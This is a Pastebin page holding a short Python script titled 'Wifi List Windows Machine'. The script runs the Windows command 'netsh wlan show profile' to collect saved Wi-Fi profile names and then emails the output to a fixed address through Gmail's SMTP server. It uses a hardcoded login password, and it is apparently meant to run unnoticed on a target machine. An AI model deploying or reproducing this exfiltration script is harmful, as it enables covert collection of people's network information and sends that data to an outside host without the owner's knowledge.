Advertisement
parthosutradhor

Wifi List Windows Machine

Apr 28th, 2020
1,529
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.77 KB | None | 0 0
  1. #!user/bin/env python
  2. import subprocess, smtplib, re
  3. from email.message import EmailMessage
  4.  
  5. def send_mail(from_email, to_email, subject, message, password):
  6.     msg = EmailMessage()
  7.     msg['From'] = from_email
  8.     msg['To'] = to_email
  9.     msg['Subject'] = subject
  10.     msg.set_content(message)
  11.     server = smtplib.SMTP("smtp.gmail.com", 587)
  12.     server.starttls()
  13.     server.login(from_email, password)
  14.     server.send_message(msg)
  15.     server.quit()
  16.  
  17.  
  18. command = "netsh wlan show profile"
  19. result = subprocess.check_output(command, shell=True)
  20.  
  21.  
  22. from_email = "---@gmail.com"
  23. to_email = "---@gmail.com"
  24. subject = "Wifi Info"
  25. message = result.decode('ISO-8859-1')
  26. password = "cxwodyvtacalemmmpsd"
  27. send_mail(from_email, to_email, subject, message, password)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement